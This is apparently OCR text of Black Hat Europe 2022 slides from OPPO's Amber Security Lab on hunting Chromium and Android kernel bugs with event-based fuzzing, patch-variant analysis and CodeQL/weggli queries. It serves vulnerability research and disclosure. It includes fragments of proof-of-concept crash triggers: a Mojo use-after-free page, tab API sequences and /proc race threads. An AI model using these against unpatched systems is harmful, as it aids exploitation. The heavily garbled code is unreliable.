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Huinian Yang (@vmth6)
e Amber Security Lab of OPPO

e Focuseson vulnerability discovery in Android and Chrome.

Qingyu Li(qqq)
e Amber Security Lab of OPPO
e Focusesonvulnerability discovery, exploitation, and defense of the Android/Linux

kernel.






The beginning of the journey: 3 ‘identical’ CVEs

Event-based Fuzzing
Patch-based Research
Realistic code Scenarios
Comment Police

Conclusion



Chromium Disclosed Security Bugs

Chromium security bugs are publicly disclosed by Google 14 weeks after fixing. They have a
great learning value but it's difficult to keep track of when exactly they're derestricted. This
page is a hub of security bugs that have recently gone public. Bugs can also be followed on
Twitter: @BugsChromium.

This website is not affiliated with Google.

Go to year: 2020 2019 2018 2017 2016

Security bugs disclosed in 2020

Options

[J Show only rewarded

1345088

1158477

1326856

1336768

1345245

Summary

Security: type confusion in chrome

Security: Bypassing HTTP auth block for subresource
loads

CrOS: Vulnerability reported in app-admin/rsyslog
heap-buffer-overflow : charntorune

Security: heap-buffer-overflow on
components/exo/shell_surface_util.cc:230:40 (Lacros)

$$%

$1000

$2000

Disclosur
date

2022-10-:

2022-10-:

2022-10-<

2022-10-2

2022-10-29

Security: Possible to spoof URL through use of

999932 $500 2020-01-17
document.open

1001503 Security: UaF in Aura $20000 pR020-01-17

1004212 Security: Insecure Chrome downlo.ad- allow's malicious B 2020-01-17
software to change downloaded file integrity
Use-of-uninitialized-value in

1004458 password_manager::PasswordReuseDetectionManager:: - 2020-01-17
OnPaste

1005218 Security: Multiple file download protection bypass 2 $1000 2020-01-17
Sanitizer CHECK failure in "((*(u8*)MemToShadow(a)))

1007334 $2000 2020-01-17

== ((0))" (0x4, 0x0)



Issue 1001503 attachment: capture_uaf.html (3.4 KB)

1 | <html>

2 <body>

3 <script src="mojo bindings.js"></script>

4 <script src="third party/blink/public/mojom/mediastream/media stream.mojom.js"></script>
5 <script src="media/capture/mojom/video capture.mojom.js"></script>

6 <script src="mojo/public/mojom/base/unguessable token.mojom.js"></script>

7 <script>

8 | function sleepFor( sleepDuration ){

9 var now = new Date().getTime();

10 while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
11 }

12

13 let media stream = new blink.mojom.MediaStreamDispatcherHostPtr();

14 Mojo.bindInterface(blink.mojom.MediaStreamDispatcherHost.name,

}? mojo.makeRequest (media stream).handle);

o]

17 let video capture host = new media.mojom.VideoCaptureHostPtr();

18 Mojo.bindInterface(media.mojom.VideoCaptureHost.name,

19 mojo.makeRequest(video capture host).handle, 'process’);
20

21 let requestId = 1;

22 acunec funrtian aatNaviecaTdl\ S




Issue 1001503 attachment: capture_uaf.html (3.4 KB)

<html>
<body>
<script src="mojo bindings.js"></script>
<script src="third party/blink/public/mojom/mediastream/media stream.mojom.js"></script>
<script src="media/capture/mojom/video capture.mojom.js"></script>
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Issue 1001503 attachment: capture_uaf _asan (11.8 KB)

==14686==ERROR: AddressSanitizer: heap-use-after-free on address 0x61700025d888 at pc Ox7f5b0lea8cbb bp Ox7ffedfdd8660 sp Ox7ffedfdd8658
READ of size 8 at 0x61700025d888 thread TO (chrome)
#0 O0x7f5b0lea8cba in views: :BubbleFrameView::GetClientInsetsForFrameWidth(int) const ./../../ui/views/bubble/bubble frame view.cc:691:39

#1 0x7f5b0lea85e4 in views: :BubbleFrameView::GetBoundsForClientView() const ./../../ui/views/bubble/bubble frame view.cc:139:23
#2 0x7f5b0212a77c in views::NonClientView::Layout() ./../../ui/views/window/non client view.cc:172:42

#3 0x7f5b020ac536 in views::View::SetBoundsRect(gfx::Rect const&) ./../../ui/views/view.cc:239:7

#4 0x715b02062a5f in views::Filllayout::Layout(views::View*) ./../../ui/views/layout/fill layout.cc:20:12

#5 0x7f5b020b9af8 in views::View::Layout() ./../../ui/views/view.cc:661:22

17 let video capture host = new media.mojom.VideoCaptureHostPtr();

1? Mojo.bindInterface(media.mojom.VideoCaptureHost.name,

19 mojo.makeRequest(video capture host).handle, 'process’);
20

21 let requestId = 1;

22 acunr fuinrtinn natNauvicaTdl) T



Mojo interface
(desktop capture)

mojo interface
implement bugs

[ Already fuzzed }

ScreenCaptureNoti
ficationUIViews

CVE-2019-13699



Mojo interface
(desktop capture)

mojo interface
implement bugs
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Mojo interface
(desktop capture)

mojo interface
implement bugs

[ Already fuzzed }

I
I
ScreenCaptureNoti | TabSharing
ficationUIViews :

N
CVE-2020-6466 I

CVE-2020-16001 I

[ same PoC ]
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e Thebeginning of the journey: 3 ‘identical’ CVEs
e Event-basedFuzzing

e Patch-basedResearch

e Realisticcode Scenarios

e Comment Police

e Conclusion
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APls: Helloworld extension:
e chrome.bookmarks.* e manifest.json
e chrome.fontSettings.* e background.js
e chrome.runtime.* e js/hello.html
e chrome.tabs.* e js/hello.js
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poc(){
chrome. tabs.getCurrent(1 (var tab 1){
chrome.tabs.create({}, (var tab 2){
chrome.tabs.update(var tab 1.id, {openerTabId:var tab 2.id})
chrome.tabs.update(var tab 2.id, {openerTabId:var tab 1.id})
chrome.tabs.move(var tab 1.id,{index:2})
chrome.tabs.discard(var tab 2.id)

CVE-2020-6509 PoC
roc)t CVE - 2021 38023 PoC

chrome.tabs.getCurrent( (var 1)
chlome.tabs.group({tabIds.[varVl.ld]}),
chrome.processes.getProcessIdForTab(var 1.id,f ion(var 2){

chrome.processes.getProcessInfo(var 2, i tion(var 3){});

})

})
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IRC

#0 O0x564a6f4cc4e6 in release
#1 0x564a6f4cc4e6 in operator=

#2 0x564a6f4cc4e6 in

CVE~2021-21143;

#4 0x564a6f4cc4e6 in

race=condition....

pMode

WebContentsData,
pModel: :WebContentsData>
vector:1818
#7 0x564a6f4c3ed41 in
#8 0x564a6f4ae014 in
#9 0x564a6f4ae014 in
0x564a6f4b30ba 1

0x564a6f4b30ba 1
0x564a6f4c6360 1

0x564a6f4c6360
0x564a6f4b7362

0x564a6f4b7362 1
0x564a6f4b6cec 1

0x55a123335598
0x55a123335598
0x5531231bd438
0x5531231bd438
0x55a123334270
0x55a1231ac933
0x553121618c59 in BlockWebContentsInteraction ./../. /compone
0x55a121618c59 1 web_modal::webcontentsModalDlalog Io

ngleWebContentsDialogManager> >) ./../../components/web nts

#8 0x553124638edd in constrained_window::ShowNebModalDlalongews(v1ews :WidgetDelegate

#9 0x55a12382fe4b in ShowConstrainedWebDialog(content::BrowserContext*, std::__1::unique_ptr<ui:

/but dtools/throme/browser/u1/v1ews/constra1ned web_dialog_delegate_views.cc:526:3

#10 0x55a1198e3d25 in printing::PrintPreviewDialogController::CreatePrintPreviewDialog(content::WebContents*) .

#11 0x55a1198e3512 in printing::PrintPreviewDialogController::PrintPreview(content::WebContents*) ./../. /chrome/bro

#12 0x553119901b99 in printing::PrintViewManager: :ShowScriptedPrintPreview(bool) ./../../chrome/browser/printing/pri

#13 0x55a10f653083 in ::mojom: :PrintManagerHostStubDispatch: :Accept(printing: :mojom: :PrintManagerHost*, mojo

#14 0x553119bfa673 in :InterfaceEndpointClient: :HandlevalidatedMessage(mojo: :Message*) ./../../mojo/public/cpp/

operator-> ./../..
TabStripModel::IsTabBlocked(int) const
UpdateCommandsForFind ./../../chrome/browser/ui/browser_ command _controller.c

chrome: :BrowserCommandController: \ (
e - m 1
Contents*, ool chrome/browser /ui/browser.c

TabStripModel: :SetTabBlocked[@id
mb modal/webfnt ts_modad_dialog manager.cc:1
1

Browser:
df vQﬂSl::unique
la

, content::WebContents*) ./..
:WebDialogDelegate,

/buildtools/third_party/libc++/trunk/include/memory:1565:19
./../../chrome/browser/ui/tabs/tab_strip_model.cc:863:10
1526:26
-lg-/--/ch
pfn $C:836:1

:SetWebContentsBlocked(conten

./../../buildtools/third_
./../../buildtools/thir
move backward<std::unique_ptr<T

(53

std:

> const*>,

..default_delete<TabStr1p
std::__1::unique_ptr<T

22 .22:0

TabstripModel: :MoveWebContentsAtImpl(int,

22 22:0

int, bool) ./../../chrome/browser/ui/tabs/tab_strip_model.cc:1948

TabstripModel::SetTabPinnedImpl(int, bool) tab_strip_model.cc:?

22 22:0

TabStripModel::SetTabsPinned(std::__1::vector<int, std::__1::allocator<int> > const&, bool) ./../../chrome/browser/ui/tabs/tab_strip_model.cc:2214
2?2 22:0

TabStripModel: :AddToNewGroupImpl(std::__1::vector<int, std::__1::allocator<int> > const&, tab_groups::TabGroupId const&) ./../../chrome/browser/ui/
77 7230

TabStripModel: :AddToNewGroup(std:: 1::vector<int, std:: 1::allocator<int> > const&) ./../../chrome/browser/ui/tabs/tab_strip_model.cc:1057|
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e Generate screenshots and PDFs of pages;

Automate form submission, Ul testing, keyboard input, etc.
e https://pptr.dev/

e mainlyabout BrowserContext



https://pptr.dev/
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e |etsyousimulate keyboard input and mouse activity, move
and resize windows, etc.
e https://github.com/jordansissel/xdotool

e outside web page, system level


https://github.com/jordansissel/xdotool

)

Typing
Click(x,y)
Closing Chrome window

Resize Chrome windows

Dragging

Bring up Chrome and visit
"https://www.blackhat.co
m/eu-22"

xdotool type "Hello world"
xdotool mousemove x y click 1
xdotool search "Chromium-browser" windowclose

xdotool search "Chromium-browser" windowsize %@
500 500

xdotool mousedown 1 && xdotool mousemove_relative
--sync 500 400 && xdotool mouseup 1

xdotool search "Chromium-browser" windowactivate
--sync key --clearmodifiers ctrl+l type
"https.//www.blackhat.com/eu-22" && xdotool key Return



https://www.blackhat.com/eu-22
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#!/bin/bash

wmctrl -a "Chromium" &

“xdotool mousemove 1200180 click 1" &&
“xdotool mousemove 800 230 click 1" &&

“xdotool mousemove 1250 580 click 1" &&
“xdotool mousemove 450170 click 1" &&

“xdotool mousemove 451170 click 1°



CVE-2020-6554

o needtoclosethe window
[dup with] CVE-2020-6515

o needtocloseatabveryfast...
CVE-2021-21214

o needtoreconnectwifi...
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e Addweighttothetop partof thevalid areain browser
For a page lack of valid components, more than 90% of the space is useless.
e Setupblacklistarea
Avoid activating other software, or shutting down the computer.
e Additional benefit: collect after close
Some code is executed when the browser is closed, and if something goes wrong

with this part, it is not caught by the fuzzer parent process, but the crash is caught
by the user clicking close.



G bUgS chromium ~

D ~

1346154

1344814

1339140

1337538

1335470

1330775

1330125

1330042

Pri v

Type ~

Bug-
Security

Bug-
Security
Bug-
Security
Bug-
Security

Bug-
Security

Bug-
Security
Bug-
Security
Bug-
Security

All issues ~ Q_ attachment:webm status=Fixed type=Bug-Security -

Component

UlI>Shell>WindowManager

Ul>Browser>Creation

UlI>Browser>Journeys

Internals>GPU>SwiftShader

UI>Shell, UlI>Shell>WindowManager>OverviewMode

UI>Shell>UIFoundations

Ul>Shell

Status ¥

Fixed

Fixed

Fixed

Fixed

Fixed

Fixed

Fixed

Fixed

1-970f97  List
Summary + Labels ~
Security: heap-buffer-overflow in ash::DesksBarView::OnDeskRemoved allpublic external_security_report

Security: Heap-use-after-free in user_notes::FrameUserNoteChanges::Apply (Annotation - deleting a note that was
just created in another tab causes crash) allpublic external_security_report

Security: container-overflow in TabStripModel::AddToNewGrouplmpl allpublic external_security_report

Security: use after free in GraphicsPipeline::containsimageWrite allpublic external_security_report

Security: Heap-use-after-free in ash::CalendarEventListView::~CalendarEventListView allpublic
external_security_report

Security: Heap-use-after-free in ash::OverviewGrid::OnDesksTemplatesGridFadedOut allpublic external_security_report

Security: heap-after-free on components/exo/extended_drag_source.cc (Lacros) allpublic external_security_report

Security: Heap-use-after-free in ash::Overviewltem::DestroyPhantomsForDragging allpublic external_security_report
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e Delvinginto valuable bugs can be unexpectedly rewarding and
enlightening.
e Focusingonevent handling logic (user actions, etc) canincrease the

coverage of code execution and therefore serve as a kind of fuzzer

input.
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e Thebeginningof the journey: 3‘identical’ CVEs
e Event-basedFuzzing

e Patch-based Research

e Realisticcode Scenarios

e Comment Police

e Conclusion
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chromium.googlesource.com

void TabStripModel::FixOpeners(int index) {
WebContents* old_contents = GetWebContentsAtImpl(index);
for (auto& data : contents_data_) {
if (data->opener() == old_contents)

data->set_opener(contents_data_|[index|->opener());

J'.

https://chromium.googlesource.com/chromium/src/+/06704ae42c9d99495906fa98dde5aecd5¢c12108e/ch
rome/browser/ui/tabs/tab__strip _model.cc#2115



https://chromium.googlesource.com/chromium/src/+/06704ae42c9d99495906fa98dde5aecd5c12108e/chrome/browser/ui/tabs/tab_strip_model.cc#2115
https://chromium.googlesource.com/chromium/src/+/06704ae42c9d99495906fa98dde5aecd5c12108e/chrome/browser/ui/tabs/tab_strip_model.cc#2115
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| chrome-extension://noelmhhondkfhjihmgophjpkbegbcick/js/main.html w B »

[ ﬂ Elemeg . Sources  Network  Performance  Memory » o1 29

] © | top

© Unchecked r
>

®  Filter Default levels ¥

Cannot set a tab's opener to itself. main.h

if (params->update_properties.opener_tab_id.get()) {
int opener_1id = *params->update_properties.opener_tab_id;
WebContents* oper = NULL;
if (opener_-id
return Respo annot set a tab's opener to itself."));
if (!Extension pbById(opener_id, browser_context(),

include_incognito_information(), nullptr,

nullptr, &opener_contents, nullptr)) {
return RespondNow(Error(ErrorUtils::FormatErrorMessage(

tabs_constants: :kTabNotFoundError, base::NumberToString(opener_id))));



ExtensionFunction: :ResponseAction TabsMoveFunction::Run() {

std::unique_ptr<tabs::Move::Params> params(
tabs: :Move: :Params::Create(*args_));
EXTENSION_FUNCTION_VALIDATE(params.get());

int new_index = params->move_properties.index;
int* window_id = params->move_properties.window_id.get();

chrome.tabs.move(

std: :unique_ptr<base::ListValue> tab_values(new base::ListValue());

size_t num_tabs = 0;
std::string error;
if (params->tab_ids.as_integers) {

std::vector<int>& tab_ids = *params->tab_ids.as_integers;

num_tabs = tab_ids.size();
for (size_t i = 0; i < tab_ids.size(); ++i) {

if (!MoveTab(tab_ids[i], &new_index, i, tab_values.get()

&error)) {
return RespondNow(Error(error));

, window_id,

var_tab_1.id,
{index:2}
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EE tab22: vObject main.js:18
active: true
sidibla: false chrome.tabs.move(
autoDiscardable: true
discarded: false .
palalic: in var_tab_1.id,

highlighted: true
A T— {index:2}
J.|I\.U\_.’HJ.LU. TaloT

index: 1
putedinfo. JImuted- false} )
openerTabId: 7
pinnea: talse
selected: true
status: "loading"
title: "FirZm"
url: "chrome://newtab/"
width: 901

windowId: 1

» proto : Object

v




if (disp info->layer num[disp idx] <= 0) {

if (start _idx < © || end idx >= disp info->layer num[disp idx])
return -EINVAL;

(i start _idx; i <= end_idx; i++) {

lc = &disp info->input config[disp idx][i];

if ((lc->src height != lc->dst height) ||
(lc->src_width != lc->dst width)) {

if (disp info->gles head[disp idx]
disp info->gles head[disp idx]
disp info->gles head[disp idx]

if (disp info->gles tail[disp idx]
disp info->gles tail[disp idx]
disp info->gles tail[disp idx]

if (disp info->gles head[disp idx] != -1) { Thishasalreadyfixed.
for (i = disp info->gles head[disp idx];
i <= disp info->gles taill[disp idx]; i++) {
lc = &disp info->input config[disp idx][i];
lc->ext sel layer = -1;
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issue#1 CVE-2022-32625 in gpu drm issue#6 in gpu drm

issue#2 in Camera issue#7 in gpu drm

issue#3 in Camera issue#8 in gpu drm

issue#4 in gpu drm issue#9 CVE-2022-26474 in sensor
issue#5 in gpu drm issue#10 | CVE-2022-32622 in geniezone
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e Incomplete/Insufficient checks happen from time to time.
e Asforthe effective fix, try other ways to bypass or go deeperinto the

subsequent logic, which is more feasible for more complex modules.
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e Thebeginning of the journey: 3‘identical’ CVEs
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e Conclusion
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Android Ecosystem
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Upstream linu

kernel

>

Android commo
kernel(ACK)

>

Vendor kernel%

OEM kernel >—)
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Upst li [
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Upstream linux

kernel

>_

Android common
kernel(ACK)

>_

Vendor kernel

MTK

UNISOC

111
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ULK )— ACK >— VNDK >— OEMK
UlILS HUAWEI

UNISOC OPPO

VIVO

XIAOMI

LIB_A_1.0

OpenSrcLib

LIB_A 2.0

LIBARAY_A_ 3.5

LIBARAY_B_ 6.0

Feature_ B 1.0

Feature. B 2.0
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Submodule

armo64

fs

CVE-2017-8890

Dirtypipe

CVE-2022-20422

Upstream linux

kernel

Debian

CentOS

Android common
kernel(ACK)

}

Vendor kernel >—

OEMK >

MTK

UNISOC

HUAWEI

OPPO

VIVO

XIAOMI




# [PATCH] arm64: fix slab—out—of-bounds in emulation proc_handler when accessing

@ 2022-01-28 9:03 h00486469
2022-02-04 12:36 ~ Catalin Marinas
Qciblings 1 reply. 2+ moscages dn thread

IFrom: h00486469 @ 2022-01-28 9:03 UTC (permalink / raw)

10, Calallll. llid dS, WILL, PUIlIl. daglawal, pPELElZ, 11U l&erﬂel
Cc: hewenliang4, hejingxian

From: hewenliang <hewenliang4@huawei. com

SAN reports an issue of slab—out—-of-bounds in emulation_proc_handler
when we try to read/write the interfaces in /proc/sys/abi concurrently.
So we need to add emulation_proc_lock to protect table->data and insn
from data corruption in emulation_proc_handler.

The stack is follows:

e Theearliest patch
2022-01-28

show_stack+0x28/0x38
dump_stack+0xec/0x15¢c
print_address_descriptiont+0x68/0x2d0
kasan_report+0x130/0x2f0
__asan_load4+0x88/0xb0
emulation_proc_handler+0x58/0x158
proc_sys_call_handler+0xldc/0x228
proc_sys_read+0x44/0x58
__vfs_read+0xe0/0x320
vfs_read+0xbc/0x1c0
__armb4_sys_read+0x50/0x60
el0_svc_common+0xc8/0x2b8
el0_svc_handler+0xf8/0x160
el0_sve+0x10/0x218

void *read thread(void *path){
int fd, len;
num();
(path, O RDONLY | O NONBLOCK) ;
buf, len);

close(fd);

}

void *write thread(void *path){

- *puf = rand
open(path,
(fd, buf,
(fd, buf, 1len);

close(fd);

Ls

}

void main(int argc, char *argv[])
{
struct dirent *dp = NULL;
- new_path[MAX PATH LEN] = {0};

((dp = readdir(argv[1l])) != NULL){

sprintf(new_path, (new_path) -1, " ", argv[l], dp->d na
(int i = 0; i < READ_THREADS; ++i)
pthread create(&tid[i], NULL, read thread, (void *)new path);
int i ; 1 < WRITE THREADS; ++1i)
pthread c (&tid[i], NULL, write_thread, (void *)new_path)
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@@ -593,6 +615,11 @@ pipe wrlte(struct kiocb *iocb, cor

@@ -414,6 +414,7 @@ static size t copy page to iter pipe(str plpe WEII>e0psS—RatCh

anon_pipe_buf_ops;
return 0; buf->offset = 0;
buf->len = chars;

+ buf->flags = 0;

buf->ops = &page cache_pipe buf_ops;

: s Dirtypipe's patch
wi-spage - pases (CVE=2022-0847)

buf->offset = offset;

weggli statement

@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter Weggll '{
$buf->page = ();

break; $buf->offset = _();

$buf->len = ();

N buf->flags - 0; NOT:$buf->flags = _(_);
buf->page = page; . /ST‘C
buf->offset = 0;
buf->len = min_t(ssize_t, left, PAGE_SIZE);

buf->ops = &efault _pipe buf_ops;

[1] https://github.com/weggli



int tcpc_transmit(struct tcpc_device *tcpc,
enum tcpm_transmit_type type, ul6 header,
u32 *data)

int ret, data_cnt, packet cnt;

u8 temp[TCPC_TRANSMIT MAX SIZE];

struct tcpc_data *ddata = tcpc_get dev_data(tcpc);
long long t1 = 0, t2 = 0;

TCPC_INFO("%s ++\n", _ func_);

t1 = local_clock();
(type < TCPC_TX_HARD_RESET) {
data_cnt = (u32) * PD_HEADER_CNT(header);
packet_cnt = data_cnt + (ul6);

temp[@] = packet _cnt;

memcpy (temp + 1, (u8 *)&header, 2);
(data_cnt > 0)
memcpy(temp + 3, (u8 *)data, data_cnt);

ret = tcpc bulk write(ddata, TCPC_V10 REG_TX_BYTE_CNT
(u8 *)temp, packet _cnt + 1);
(ret < 0)
ret;

CodeQL statement
FunctionCall Expr sizeExpr,
pr e2

(

call.getTarget().getName() = "memcpy
call.getTarget().getName() =

destExpr = call.getArgument(0)
el = destExpr.getAChild*()
el.getType().toString().matches("%]")
e2 = destExpr.getAChild*()
e2.isConstant()
e2.getValue().toInt()!=0
sizeExpr = call.getArgument(2)
sizeExpr.isConstant()

Found 2 vul code on
different version

This has already fixed

Expr destExpr,
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(copy_from_user
(pData, (void __user *)(pReglo->pData),
pRegIo->Count *
LOG_INF("copy_from_user failed\n");
Ret = -EFAULT;
EXIT;
}
Ret = DIP_WriteRegToHw(pData, pRegIo->Count);
signed int DIP_WriteRegToHw(

struct DIP_REG_STRUCT *pReg,
unsigned int Count)

void __iomem *regBase;

(1 =0; 1< Count; i++) {
(dbgWriteReg)
LOG_DBG("module(%d), base(8x%1x)",
module,
(unsigned Long)regBase);
LOG_DBG("Addr(©x%1x), Val(ex%x)\n",

(struct DIP_REG_STRUCT)) != ©

CodeQL statement

alueFieldAccess address vfa, PointerAddExpr
addrexpr, t ifstmt, RelationalOperati condition

condition = ifstmt.getCondition().getAChild*()
addrExpr = condition.getLeftOperand()
address vfa = addrExpr.getAChild()
( IfStmt address vfa check |
address vfa check.getParentStmt() = ifstmt.getParentStmt()
address vfa check.getLocation().getStartLine()
< ifstmt.getLocation().getStartLine()
(address vfa = address vfa check.getCondition().getAChild*())
)

Found 4 vul code on
different branch

(unsigned Long)(pReg[i].Addr),
(unsigned int)(pReglil.Val)):
(((regBase + pReg[i].Addr) < (regBase + PAGE_SIZE))

DIP_WR32(regBase + pReg[i].Addr, pReg[i].Val);

LOG_ERR("wrong address(@x%1x)\n",

This has already fixed.
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issue#1 CVE-2022-20422 issue#6 in gpu drm
issue#2 CVE-2022-32617 issue#7 CVE-2021-0940
issue#3 CVE-2022-26475 issue#8 CVE-2021-39650
issue#4 CVE-2022-32618 issue#9 in wlan driver
issue#5 CVE-2022-20070 issue#10 | in wlan driver



)

blackhat

=eUROPE 2022

e Whenyou see abug, the room may have 1000

e Securityisdueto trust,and sometimes vulnerability is due to trust

e OEMs needto efficiently address vulnerabilities upstream and downstream
and in multiple version branches

e Thehigherthe convergence of the model, the higher the accuracy and the
lower the false alarm rate.The higher the ambiguity of the model, the more of
theresult and the higher the false alarm rate

e Itisbettertouseamodelwith higherconvergenceinsimilar functional

modules
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e Thebeginning of the journey: 3‘identical’ CVEs
e Event-basedFuzzing

e Patch-basedResearch

e Realisticcode Scenarios

e Comment Police

e Conclusion
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codeql statement

(req == NULL || res == NULL || reg->len < 64) { =Nt comment

LOG_ERROR("param is null"); (
ERR_BAD_PARAM; comment.getContents().toString().matches("%len
} comment.getContents().toString() .matches("%length
”g@mpy@anadnr,req»buf+ 1, 4); comment.getContents().toString() .matches("
( _get master_key(&VASTER_KEY, enc_factor)) {

LOG_ERROR("get key error”); comment.getContents().toString().matches("%al
ERR_OUT_OF MEM; : ‘
) comment.getContents().toString().matches(
buf = malloc_ex(buf_len, 0);
(buf == nutL) {
LOG_ERROR("malloc memory fail");
ret = ERR_OUT_OF MEM;
bye;
}

| iv_len = req->buf[5] & 0xFF;

memcpy (iv, req->buf + 6, iv_len);
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int do xx dump(void® buf, unsigned int buf size) {
char* data = NULL;
int err ;
int len;
int dumpSize;

codeql || weggli

Xx_dump t* ctx = (xx_dump_t*)buf; weggli R 'err=(perror|pr_error|dev err)
LOGI("xxx xx dump mode:%d", ctx->config.xx current _mode); L -u'
LOGI("xxx dump stage:%d", ctx->config.dump stage); ()]

serr(_);
NOT:$ret ;
}

Jen/src

(ctx->canfia _dumn_staae NIIMP_STAGF 3 GFT DATA RIIF) {
(ctx->config.data size - ctx->config.cmd to data offset (int)buf size) {
ctx NULL;
LOGE("xxx error data size, data size:%d cmd to data offset:%d buf size:%d", ctx->config.data size,
ctx->config.cmd to data offset, buf size);
i
} {
ctx = CAST CMD BUF(xx dump t, buf, buf size);
}

LOGI("xxx sizeof xx dump t:%lu,buf size:%d" (xx_dump_t), buf_size);
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GLOBAL struct xxx g DPE_RegRing;

Llong DPE_ioctl(struct file *pFile, unsigned int Cmd,
unsigned lLong Param) {

int enqueNum;

DPE_ENQNUE_NUM : { codeql statem

(copy_from_user(&enqueReqNum, (void *)Param, (int)) == 0) { : . :
spin_lock irgsave(&(DPEInfo.SpinLockIrq[DPE_IRQ TYPE INT DVP_ST]), flags); ariable v, AssignExpr expr, IfStmt ifstmt,
g_DPE_ReqRing.DPEReq_Struct[g DPE_ReqRing.WriteIdx].processID = RelationalOperation condition

pUserInfo->Pid:

DPE_RegRing.DPEReq Struct DPE_RegRing.WriteIdx].enqueRegNum = :
= e;quZNumf L s LFSisie e v.getAnAccess() = expr.getAChild()
spin_unlock irqrestore(&(DPEInfo.SpinLockIrq[DPE_IRQ TYPE INT DVP ST]), t v.getAnAccess() = expr.getLValue()

flags): condition = ifstmt.getCondition().getAChild*()

(enqueNum > _SUPPORT_MAX DPE_FRAME REQUEST ) { _ s
LOG_ERR("DPE Enque Num is bigger than enqueNum:%d\n", enqueNum); v.getAnAccess() = condition.getLeftOperand()

} expr.getLocation().getStartLine() <
ifstmt.getlLocation().getStartLine()
DPE_ENQUE : { ifstmt.getLocation().getStartLine() -

((DPE_REQUEST STATE EMPTY — expr.getlLocation().getStartLine() <20

g DPE RegRing.DPEReq Struct[g DPE RegRing.WriteIdx].State) & ( Ifstmt ifstmt_pre, RelationalOperation condition pre|
(g_DPE_RegRing.DPEReq_Struct[g DPE_RegRing.WriteIdx].FrameWRIdx < condition pre = ifstmt pre.getCondition().getAChild*()

SRR Ry PPERegE Stic e TR R R s e ] v.getAnAccess() = condition pre.getLeftOperand()
.enqueRegNum)) {

g_DPE_ReqRing.DPEReq_Struct[g DPE_ReqRing.WriteIdx] ?Xpl‘ -getlLocation() 'getSta'.tLlne( ) )
.DpeFrameStatus[g DPE_RegRing > ifstmt pre.getLocation().getStartLine()
-DPEReq_Struct[g DPE_RegRing.WriteIdx] expr.getLocation().getStartLine()
ey FrameWRIdx] - DPE FRAME STATUS ENOUE: - ifstmt pre.getLocation().getStartLine() <20
&g_DPE_ReqRing.DPEReq_Struct[g DPE_ReqRing.WriteIdx]

.DpeFrameConfig[g DPE_ReqRing
.DPEReq_Struct[g DPE_ReqRing.WriteIdx] This has alrea been fixed
.FrameWRIdx++], ’

&dpe_DpeConfig, (struct DPE_Config));
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imgsys _vidioc gbuf(struct file *file, void *priv,
struct v4l2 buffer *buf)

struct imgsys pipe *pipe = video drvdata(file);
struct imgsys video device *node = imgsys file to node(file);
struct vb2 buffer *vb = node->dev_q.vbq.bufs[buf->index];
struct imgsys dev_buffer *dev_buf =
imgsys vb2 buf to dev buf(vb); .
struct buf_info dyn_buf info; Weggll statement
int ret = 8, 1 = 0;

X weggli 1 u '

unsigned long user_ptr = 0; _
struct imgsys request *imgsys req; $ret = $funcA(_);

struct media_request *req; not: (_ ($ret)) ();

$funcb($ret);
(!dev_buf) {
dev_dbg(pipe->imgsys dev->dev, "[%s] NULL dev_buf obtained with idx %d\n’
buf->index);
-EINVAL;

req = media request get by fd(&pipe->imgsys dev->mdev, buf->request fd);

imgsys req = imgsys media req to imgsys req(req);
imgsys req->tstate.time_gbuf = ktime get boottime ns()/1000; This has already been fixed.
media request put(req);




Diffstat
-rw-r--r-- msm/dsi/dsi_ctrl.c 8 I

1 files char

Detect program
diff —git a/msm/dsi/dsi_ctrl.c b/msmn/dsi/dsi_ctrl.c
index deeB844c..9db2e9%90 100644

—— afmsm/fdsifdsi_ctrl.c

+++ b/msm/dsi/fdsi_ctrl.c int read test(void *path){
@@ -1,6 +1,6 @@ int fd, ret;

// SPDE-License—Identifier: GPL-2. 0-only char buf[small sizel;

s fd = open(path, 0 RDONLY | O NONBLOCK);
— % Copyright {(c¢) 2016-2020, The Linux Foundation. All rights reserved. DEERIES R At IR0 )i
+ I/CODleght (c) 2016-2021, The Linux Foundation. 4ll rights reserved. ret = read(fd, g short buf, 0); 4

ret = r (fd, g_short buf, small _size);
#define pr_fmt(fmt) “dsi-ctrl:[%s] © fmt, __func__

@@ -109,6 +109,9 @@ static ssize_t debugfs_state_info_read(struct file *file,
dsi_ctrl->clk_freq.pix_clk_rate,
dsi_ctrl->clk_freq.esc_clk_rate) ;

* if (len > count)
+ len = count; void main(int argc, char *argv[])
o

{

len = min_t(size_t, len, SZ_4K);
if (copy_to_user(buff, buf, ler)) {

struct dirent *dp = |
new_path[MAX PATH LEN] = {0};

kfree (buf) ;
P 3 . 3 . w3
@@ -164,6 +167, ‘Brg?ms”;a;(l;;: ssize_t debugfs_reg_dump_read(struct file *file, b = e ir(avgvil1)) s NULL)S
1 sprintf(new_ path (new _path) -1

argv[1l], dp->d _name);

+ if (len > count) (lac s(new path, R 0K))

+ len = count; read test(new_path);

i

len = min_t(size_t, len, SZ_4K);
if (copy_to_user (buff, buf, len)) {
kfree(buf) ;
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issue#1 OOB-Read in Trust issue#6 low in v4l2
Application

issue#2 OOB-Read in Trust issue#7 CVE-2022-20369
Application

issue#3 CVE-2022-32632 issue#8 in camera

issue#4 in drm issue#9 dup in camera

issue#5 CVE-2022-32628 issue#10 | dup in camera
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e Unlike othervulnerabilities we discussed earlier, which are code-y,
this type of erroris more human-y, and we hope to reduce the

securityrisk by listing situations we have seen.
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e Thebeginning of the journey: 3‘identical’ CVEs
e Event-basedFuzzing

e Patch-basedResearch

e Realisticcode Scenarios

e Comment Police

e Conclusion



Sometimes unexpected findings can inspire new approaches, and

Event-based Fuzzing improvements can help identify security
problems in complex system.

'Fixed' does not mean completely secure, you can try bypassing or
going deeper.

Using CodeQL/Weggli could be a better solution to realistic code
scenarios, makes bug hunting for customized products more

efficient.
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e Allthevendors have worked diligently with us to remediate the
security vulnerabilities.
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